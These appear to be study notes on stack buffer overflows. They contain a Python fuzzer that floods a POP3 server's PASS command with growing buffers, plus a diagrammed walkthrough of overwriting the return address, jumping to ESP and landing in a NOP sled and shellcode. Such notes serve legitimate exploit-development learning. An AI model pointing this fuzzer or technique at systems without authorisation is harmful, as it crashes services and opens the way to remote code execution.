Fuzz base on buffer length and perhaps different characters, check for crashes, and observe memory stack in debugger.
#!/usr/bin/env python
import socket
string = 'A'
for i in range(100, 10000, 200): print 'Fuzzing PASS with {} bytes'.format(i) s = socket.socket() s.connect(('192.168.1.23', 110)) s.recv(1024) s.send('USER test\\r\\n') s.recv(1024) s.send('PASS {}\\r\\n'.format(string * i)) s.send('QUIT\\r\\n') s.close()
Stack overflow simulation
ESP -> 1000 .... \\
1001 .... |- # Current function
1002 .... |
1003 .... /
EBP -> 1003 100A # Previous EBP further down
1004 3AFD # Return address to previous calling function
1005 ....
1006 ....
ESP -> 1000 AAAA \\
1001 AAAA |- # Current function
1002 AAAA |
1003 AAAA /
EBP -> 1003 AAAA # Previous EBP further down
1004 BBBB # Return address to previous calling function
1005 CCCC
1006 ....
# Function completes, and starts cleaning up.
# leave (mov esp, ebp)
1000 AAAA \\
1001 AAAA |- # Current function
1002 AAAA |
1003 AAAA /
EB/SP->1003 AAAA # Previous EBP further down
1004 BBBB # Return address to previous calling function
1005 CCCC
1006 ....
# leave (pop ebp) (ebp is now AAAA, and esp + 1)
1000 AAAA \\
1001 AAAA |- # Current function
1002 AAAA |
1003 AAAA /
1003 AAAA
ESP -> 1004 BBBB # Return address to previous calling function
1005 CCCC
1006 ....
# ret (pop eip) (eip is now BBBB, and esp + 1)
1000 AAAA
1001 AAAA
1002 AAAA
1003 AAAA
1004 BBBB # Return address to previous calling function, popped as EIP
ESP -> 1005 CCCC
1006 ....
# jmp esp
ESP -> 1005 NOPS # nop sled to avoid shellcode from "stepping on its toes" while decoding
1006 NOPS
1007 CCCC # shellcode
1008 CCCC
1009 CCCC
100A CCCC
With fuzzing, see whether server crashes after a certain length buffer.
With a debugger like Immunity Debugger, see whether EIP is overwritten with your buffer.